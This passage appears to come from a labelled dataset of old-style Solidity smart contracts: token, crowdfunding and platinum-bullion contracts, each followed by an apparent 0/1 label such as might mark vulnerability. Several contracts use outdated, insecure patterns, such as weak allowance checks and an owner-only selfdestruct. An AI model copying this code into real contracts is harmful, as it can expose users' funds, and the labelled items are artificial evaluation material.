return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) onlyController returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount) onlyController returns (bool) {
uint curTotalSupply = getValueAt(totalSupplyHistory, block.number);
if (curTotalSupply + _amount < curTotalSupply) throw;
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
var previousBalanceTo = balanceOf(_owner);
if (previousBalanceTo + _amount < previousBalanceTo) throw;
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController returns (bool) {
uint curTotalSupply = getValueAt(totalSupplyHistory, block.number);
if (curTotalSupply < _amount) throw;
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
var previousBalanceFrom = balanceOf(_owner);
if (previousBalanceFrom < _amount) throw;
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) internal returns (uint) {
return a < b ? a : b;
}
function () payable {
if (isContract(controller)) {
if (! TokenController(controller).proxyPayment.value(msg.value)(msg.sender))
throw;
} else {
throw;
}
}
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(address indexed _owner, address indexed _spender, uint256 _amount);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) returns (MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract ClitCoinToken is MiniMeToken {
function ClitCoinToken(
) MiniMeToken(
0x0,
0x0,
0,
"CLIT Token",
0,
"CLIT",
false
) {
version = "CLIT 1.0";
}
}
contract SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract ClitCrowdFunder is Controlled, SafeMath {
address public creator;
address public fundRecipient;
State public state = State.Fundraising;
uint public fundingGoal;
uint public totalRaised;
uint public currentBalance;
uint public issuedTokenBalance;
uint public totalTokensIssued;
uint public capTokenAmount;
uint public startBlockNumber;
uint public endBlockNumber;
uint public eolBlockNumber;
uint public firstExchangeRatePeriod;
uint public secondExchangeRatePeriod;
uint public thirdExchangeRatePeriod;
uint public fourthExchangeRatePeriod;
uint public firstTokenExchangeRate;
uint public secondTokenExchangeRate;
uint public thirdTokenExchangeRate;
uint public fourthTokenExchangeRate;
uint public finalTokenExchangeRate;
bool public fundingGoalReached;
ClitCoinToken public exchangeToken;
event HardCapReached(address fundRecipient, uint amountRaised);
event GoalReached(address fundRecipient, uint amountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
event FrozenFunds(address target, bool frozen);
event RefundPeriodStarted();
mapping(address => uint256) private balanceOf;
mapping (address => bool) private frozenAccount;
enum State {
Fundraising,
ExpiredRefund,
Successful,
Closed
}
modifier inState(State _state) {
if (state != _state) throw;
_;
}
modifier atEndOfLifecycle() {
if(!((state == State.ExpiredRefund && block.number > eolBlockNumber) || state == State.Successful)) {
throw;
}
_;
}
modifier accountNotFrozen() {
if (frozenAccount[msg.sender] == true) throw;
_;
}
modifier minInvestment() {
require(msg.value >= 10 ** 16);
_;
}
modifier isStarted() {
require(block.number >= startBlockNumber);
_;
}
function ClitCrowdFunder(
address _fundRecipient,
uint _delayStartHours,
ClitCoinToken _addressOfExchangeToken
) {
creator = msg.sender;
fundRecipient = _fundRecipient;
fundingGoal = 7000 * 1 ether;
capTokenAmount = 140 * 10 ** 6;
state = State.Fundraising;
fundingGoalReached = false;
totalRaised = 0;
currentBalance = 0;
totalTokensIssued = 0;
issuedTokenBalance = 0;
startBlockNumber = block.number + div(mul(3600, _delayStartHours), 14);
endBlockNumber = startBlockNumber + div(mul(3600, 1080), 14);
eolBlockNumber = endBlockNumber + div(mul(3600, 168), 14);
firstExchangeRatePeriod = startBlockNumber + div(mul(3600, 24), 14);
secondExchangeRatePeriod = firstExchangeRatePeriod + div(mul(3600, 240), 14);
thirdExchangeRatePeriod = secondExchangeRatePeriod + div(mul(3600, 240), 14);
fourthExchangeRatePeriod = thirdExchangeRatePeriod + div(mul(3600, 240), 14);
uint _tokenExchangeRate = 1000;
firstTokenExchangeRate = (_tokenExchangeRate + 1000);
secondTokenExchangeRate = (_tokenExchangeRate + 500);
thirdTokenExchangeRate = (_tokenExchangeRate + 300);
fourthTokenExchangeRate = (_tokenExchangeRate + 100);
finalTokenExchangeRate = _tokenExchangeRate;
exchangeToken = ClitCoinToken(_addressOfExchangeToken);
}
function freezeAccount(address target, bool freeze) onlyController {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function getCurrentExchangeRate(uint amount) public constant returns(uint) {
if (block.number <= firstExchangeRatePeriod) {
return firstTokenExchangeRate * amount / 1 ether;
} else if (block.number <= secondExchangeRatePeriod) {
return secondTokenExchangeRate * amount / 1 ether;
} else if (block.number <= thirdExchangeRatePeriod) {
return thirdTokenExchangeRate * amount / 1 ether;
} else if (block.number <= fourthExchangeRatePeriod) {
return fourthTokenExchangeRate * amount / 1 ether;
} else if (block.number <= endBlockNumber) {
return finalTokenExchangeRate * amount / 1 ether;
}
return finalTokenExchangeRate * amount / 1 ether;
}
function investment() public inState(State.Fundraising) isStarted accountNotFrozen minInvestment payable returns(uint) {
uint amount = msg.value;
if (amount == 0) throw;
balanceOf[msg.sender] += amount;
totalRaised += amount;
currentBalance += amount;
uint tokenAmount = getCurrentExchangeRate(amount);
exchangeToken.generateTokens(msg.sender, tokenAmount);
totalTokensIssued += tokenAmount;
issuedTokenBalance += tokenAmount;
FundTransfer(msg.sender, amount, true);
checkIfFundingCompleteOrExpired();
return balanceOf[msg.sender];
}
function checkIfFundingCompleteOrExpired() {
if (block.number > endBlockNumber || totalTokensIssued >= capTokenAmount ) {
if (currentBalance > fundingGoal || fundingGoalReached == true) {
state = State.Successful;
payOut();
HardCapReached(fundRecipient, totalRaised);
removeContract();
} else {
state = State.ExpiredRefund;
RefundPeriodStarted();
}
} else if (currentBalance > fundingGoal && fundingGoalReached == false) {
fundingGoalReached = true;
state = State.Successful;
payOut();
state = State.Fundraising;
GoalReached(fundRecipient, totalRaised);
}
}
function payOut() public inState(State.Successful) {
var amount = currentBalance;
currentBalance = 0;
fundRecipient.transfer(amount);
var tokenCount = issuedTokenBalance;
issuedTokenBalance = 0;
exchangeToken.generateTokens(fundRecipient, tokenCount);
}
function getRefund() public inState(State.ExpiredRefund) {
uint amountToRefund = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
msg.sender.transfer(amountToRefund);
currentBalance -= amountToRefund;
FundTransfer(msg.sender, amountToRefund, false);
}
function removeContract() public atEndOfLifecycle {
state = State.Closed;
exchangeToken.enableTransfers(true);
exchangeToken.changeController(controller);
selfdestruct(msg.sender);
}
function () payable {
investment();
}
} | 0 |
pragma solidity ^0.4.24;
contract RNBX {
string public name ;
string public symbol ;
uint8 public decimals = 18;
uint256 public totalSupply ;
mapping (address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
function RNBX(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
} | 1 |
pragma solidity ^0.4.13;
library Strings {
struct slice {
uint _len;
uint _ptr;
}
function memcpy(uint dest, uint src, uint len) private {
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
function toSlice(string self) internal returns (slice) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
function len(bytes32 self) internal returns (uint) {
uint ret;
if (self == 0)
return 0;
if (self & 0xffffffffffffffffffffffffffffffff == 0) {
ret += 16;
self = bytes32(uint(self) / 0x100000000000000000000000000000000);
}
if (self & 0xffffffffffffffff == 0) {
ret += 8;
self = bytes32(uint(self) / 0x10000000000000000);
}
if (self & 0xffffffff == 0) {
ret += 4;
self = bytes32(uint(self) / 0x100000000);
}
if (self & 0xffff == 0) {
ret += 2;
self = bytes32(uint(self) / 0x10000);
}
if (self & 0xff == 0) {
ret += 1;
}
return 32 - ret;
}
function toSliceB32(bytes32 self) internal returns (slice ret) {
assembly {
let ptr := mload(0x40)
mstore(0x40, add(ptr, 0x20))
mstore(ptr, self)
mstore(add(ret, 0x20), ptr)
}
ret._len = len(self);
}
function copy(slice self) internal returns (slice) {
return slice(self._len, self._ptr);
}
function toString(slice self) internal returns (string) {
var ret = new string(self._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
return ret;
}
function len(slice self) internal returns (uint) {
var ptr = self._ptr - 31;
var end = ptr + self._len;
for (uint len = 0; ptr < end; len++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
return len;
}
function empty(slice self) internal returns (bool) {
return self._len == 0;
}
function compare(slice self, slice other) internal returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
var selfptr = self._ptr;
var otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
uint a;
uint b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
uint mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
var diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
function equals(slice self, slice other) internal returns (bool) {
return compare(self, other) == 0;
}
function nextRune(slice self, slice rune) internal returns (slice) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint len;
uint b;
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
len = 1;
} else if(b < 0xE0) {
len = 2;
} else if(b < 0xF0) {
len = 3;
} else {
len = 4;
}
if (len > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += len;
self._len -= len;
rune._len = len;
return rune;
}
function nextRune(slice self) internal returns (slice ret) {
nextRune(self, ret);
}
function ord(slice self) internal returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint len;
uint div = 2 ** 248;
assembly { word:= mload(mload(add(self, 32))) }
var b = word / div;
if (b < 0x80) {
ret = b;
len = 1;
} else if(b < 0xE0) {
ret = b & 0x1F;
len = 2;
} else if(b < 0xF0) {
ret = b & 0x0F;
len = 3;
} else {
ret = b & 0x07;
len = 4;
}
if (len > self._len) {
return 0;
}
for (uint i = 1; i < len; i++) {
div = div / 256;
b = (word / div) & 0xFF;
if (b & 0xC0 != 0x80) {
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
function keccak(slice self) internal returns (bytes32 ret) {
assembly {
ret := sha3(mload(add(self, 32)), mload(self))
}
}
function startsWith(slice self, slice needle) internal returns (bool) {
if (self._len < needle._len) {
return false;
}
if (self._ptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let len := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, len), sha3(needleptr, len))
}
return equal;
}
function beyond(slice self, slice needle) internal returns (slice) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let len := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, len), sha3(needleptr, len))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
function endsWith(slice self, slice needle) internal returns (bool) {
if (self._len < needle._len) {
return false;
}
var selfptr = self._ptr + self._len - needle._len;
if (selfptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let len := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, len), sha3(needleptr, len))
}
return equal;
}
function until(slice self, slice needle) internal returns (slice) {
if (self._len < needle._len) {
return self;
}
var selfptr = self._ptr + self._len - needle._len;
bool equal = true;
if (selfptr != needle._ptr) {
assembly {
let len := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, len), sha3(needleptr, len))
}
}
if (equal) {
self._len -= needle._len;
}
return self;
}
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) {
uint ptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
assembly {
let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1))
let needledata := and(mload(needleptr), mask)
let end := add(selfptr, sub(selflen, needlelen))
ptr := selfptr
loop:
jumpi(exit, eq(and(mload(ptr), mask), needledata))
ptr := add(ptr, 1)
jumpi(loop, lt(sub(ptr, 1), end))
ptr := add(selfptr, selflen)
exit:
}
return ptr;
} else {
bytes32 hash;
assembly { hash := sha3(needleptr, needlelen) }
ptr = selfptr;
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := sha3(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) {
uint ptr;
if (needlelen <= selflen) {
if (needlelen <= 32) {
assembly {
let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1))
let needledata := and(mload(needleptr), mask)
ptr := add(selfptr, sub(selflen, needlelen))
loop:
jumpi(ret, eq(and(mload(ptr), mask), needledata))
ptr := sub(ptr, 1)
jumpi(loop, gt(add(ptr, 1), selfptr))
ptr := selfptr
jump(exit)
ret:
ptr := add(ptr, needlelen)
exit:
}
return ptr;
} else {
bytes32 hash;
assembly { hash := sha3(needleptr, needlelen) }
ptr = selfptr + (selflen - needlelen);
while (ptr >= selfptr) {
bytes32 testHash;
assembly { testHash := sha3(ptr, needlelen) }
if (hash == testHash)
return ptr + needlelen;
ptr -= 1;
}
}
}
return selfptr;
}
function find(slice self, slice needle) internal returns (slice) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len -= ptr - self._ptr;
self._ptr = ptr;
return self;
}
function rfind(slice self, slice needle) internal returns (slice) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len = ptr - self._ptr;
return self;
}
function split(slice self, slice needle, slice token) internal returns (slice) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = self._ptr;
token._len = ptr - self._ptr;
if (ptr == self._ptr + self._len) {
self._len = 0;
} else {
self._len -= token._len + needle._len;
self._ptr = ptr + needle._len;
}
return token;
}
function split(slice self, slice needle) internal returns (slice token) {
split(self, needle, token);
}
function rsplit(slice self, slice needle, slice token) internal returns (slice) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = ptr;
token._len = self._len - (ptr - self._ptr);
if (ptr == self._ptr) {
self._len = 0;
} else {
self._len -= token._len + needle._len;
}
return token;
}
function rsplit(slice self, slice needle) internal returns (slice token) {
rsplit(self, needle, token);
}
function count(slice self, slice needle) internal returns (uint count) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len;
while (ptr <= self._ptr + self._len) {
count++;
ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len;
}
}
function contains(slice self, slice needle) internal returns (bool) {
return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr;
}
function concat(slice self, slice other) internal returns (string) {
var ret = new string(self._len + other._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
memcpy(retptr + self._len, other._ptr, other._len);
return ret;
}
function join(slice self, slice[] parts) internal returns (string) {
if (parts.length == 0)
return "";
uint len = self._len * (parts.length - 1);
for(uint i = 0; i < parts.length; i++)
len += parts[i]._len;
var ret = new string(len);
uint retptr;
assembly { retptr := add(ret, 32) }
for(i = 0; i < parts.length; i++) {
memcpy(retptr, parts[i]._ptr, parts[i]._len);
retptr += parts[i]._len;
if (i < parts.length - 1) {
memcpy(retptr, self._ptr, self._len);
retptr += self._len;
}
}
return ret;
}
}
library ConvertStringByte {
function bytes32ToString(bytes32 x) constant returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
function stringToBytes32(string memory source) returns (bytes32 result) {
assembly {
result := mload(add(source, 32))
}
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Platinum is Ownable {
using SafeMath for uint256;
using Strings for *;
string public version = "0.0.1";
string public unit = "oz";
uint256 public total;
struct Bullion {
string index;
string unit;
uint256 amount;
string ipfs;
}
bytes32[] public storehouseIndex;
mapping (bytes32 => Bullion) public storehouse;
address public token;
uint256 public rate = 10;
PlatinumToken coin;
function Platinum() {
}
event Stock (
string index,
string unit,
uint256 amount,
string ipfs,
uint256 total
);
event Ship (
string index,
uint256 total
);
event Mint (
uint256 amount,
uint256 total
);
event Alchemy (
uint256 amount,
uint256 total
);
event Buy (
string index,
address from,
uint256 fee,
uint256 price
);
function stock(string _index, string _unit, uint256 _amount, string _ipfs) onlyOwner returns (bool) {
bytes32 _bindex = ConvertStringByte.stringToBytes32(_index);
require(_amount > 0);
require(_unit.toSlice().equals(unit.toSlice()));
require(!(storehouse[_bindex].amount > 0));
Bullion bullion = storehouse[_bindex];
bullion.index = _index;
bullion.unit = _unit;
bullion.amount = _amount;
bullion.ipfs = _ipfs;
storehouseIndex.push(_bindex);
storehouse[_bindex] = bullion;
total = total.add(_amount);
Stock(bullion.index, bullion.unit, bullion.amount, bullion.ipfs, total);
return true;
}
function ship(string _index) onlyOwner returns (bool) {
bytes32 _bindex = ConvertStringByte.stringToBytes32(_index);
require(storehouse[_bindex].amount > 0);
Bullion bullion = storehouse[_bindex];
require(total.sub(bullion.amount) >= 0);
uint256 tmpAmount = bullion.amount;
for (uint256 index = 0; index < storehouseIndex.length; index++) {
Bullion _bullion = storehouse[storehouseIndex[index]];
if (_bullion.index.toSlice().equals(_index.toSlice())) {
delete storehouseIndex[index];
}
}
delete storehouse[_bindex];
total = total.sub(tmpAmount);
Ship(bullion.index, total);
return true;
}
function mint(uint256 _ptAmount) onlyOwner returns (bool) {
require(token != 0x0);
uint256 amount = convert2PlatinumToken(_ptAmount);
bool produced = coin.produce(amount);
require(produced);
total = total.sub(_ptAmount);
Mint(_ptAmount, total);
return true;
}
function alchemy(uint256 _tokenAmount) onlyOwner returns (bool) {
require(token != 0x0);
uint256 amount = convert2Platinum(_tokenAmount);
bool reduced = coin.reduce(_tokenAmount);
require(reduced);
total = total.add(amount);
Alchemy(amount, total);
return true;
}
function setRate(uint256 _rate) onlyOwner returns (bool) {
require(_rate > 0);
rate = _rate;
return true;
}
function setTokenAddress(address _address) onlyOwner returns (bool) {
require(_address != 0x0);
coin = PlatinumToken(_address);
token = _address;
return true;
}
function buy(string _index, address buyer) onlyOwner returns (bool) {
require(token != 0x0);
bytes32 _bindex = ConvertStringByte.stringToBytes32(_index);
uint256 fee = coin.fee();
require(storehouse[_bindex].amount > 0);
Bullion bullion = storehouse[_bindex];
uint256 tokenPrice = convert2PlatinumToken(bullion.amount);
uint256 tokenPriceFee = tokenPrice.add(fee);
bool transfered = coin.transferFrom(buyer, coin.owner(), tokenPriceFee);
require(transfered);
bool reduced = coin.reduce(tokenPrice);
require(reduced);
for (uint256 index = 0; index < storehouseIndex.length; index++) {
Bullion _bullion = storehouse[storehouseIndex[index]];
if (_bullion.index.toSlice().equals(_index.toSlice())) {
delete storehouseIndex[index];
}
}
delete storehouse[_bindex];
Buy(_index, buyer, fee, tokenPrice);
return true;
}
function convert2Platinum(uint256 _amount) constant returns (uint256) {
return _amount.div(rate);
}
function convert2PlatinumToken(uint256 _amount) constant returns (uint256) {
return _amount.mul(rate);
}
function info(string _index) constant returns (string, string, uint256, string) {
bytes32 _bindex = ConvertStringByte.stringToBytes32(_index);
require(storehouse[_bindex].amount > 0);
Bullion bullion = storehouse[_bindex];
return (bullion.index, bullion.unit, bullion.amount, bullion.ipfs);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract PlatinumToken is Ownable, ERC20 {
using SafeMath for uint256;
string public version = "0.0.1";
string public name;
string public symbol;
uint256 public decimals;
address public platinum;
mapping (address => mapping (address => uint256)) allowed;
mapping(address => uint256) balances;
uint256 public totalSupply;
uint256 public fee = 10;
function PlatinumToken(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) {
balances[msg.sender] = initialSupply;
totalSupply = initialSupply;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
}
modifier isPlatinumContract() {
require(platinum != 0x0);
require(msg.sender == platinum);
_;
}
modifier isOwnerOrPlatinumContract() {
require(msg.sender != address(0) && (msg.sender == platinum || msg.sender == owner));
_;
}
function produce(uint256 amount) isPlatinumContract returns (bool) {
balances[owner] = balances[owner].add(amount);
totalSupply = totalSupply.add(amount);
return true;
}
function reduce(uint256 amount) isPlatinumContract returns (bool) {
require(balances[owner].sub(amount) >= 0);
require(totalSupply.sub(amount) >= 0);
balances[owner] = balances[owner].sub(amount);
totalSupply = totalSupply.sub(amount);
return true;
}
function setPlatinumAddress(address _address) onlyOwner returns (bool) {
require(_address != 0x0);
platinum = _address;
return true;
}
function setFee(uint256 _fee) onlyOwner returns (bool) {
require(_fee >= 0);
fee = _fee;
return true;
}
function transfer(address _to, uint256 _value) onlyOwner returns (bool) {
balances[owner] = balances[owner].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(owner, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) isOwnerOrPlatinumContract returns (bool) {
var _allowance = allowed[_from][owner];
uint256 valueSubFee = _value.sub(fee);
balances[_to] = balances[_to].add(valueSubFee);
balances[_from] = balances[_from].sub(_value);
balances[owner] = balances[owner].add(fee);
allowed[_from][owner] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _dummy, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][owner] == 0));
allowed[msg.sender][owner] = _value;
Approval(msg.sender, owner, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function suicide() onlyOwner returns (bool) {
selfdestruct(owner);
return true;
}
} | 0 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract Token {
string public name;
string public symbol;
uint8 public decimals = 2;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function Token (
uint256 initialSupply,
string tokenName,
string tokenSymbol)
public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol; }
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances); }
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value); }
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true; }
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true; }
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true; } }
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true; }
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true; }
} | 1 |
pragma solidity ^0.4.19;
contract ERC20 {
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
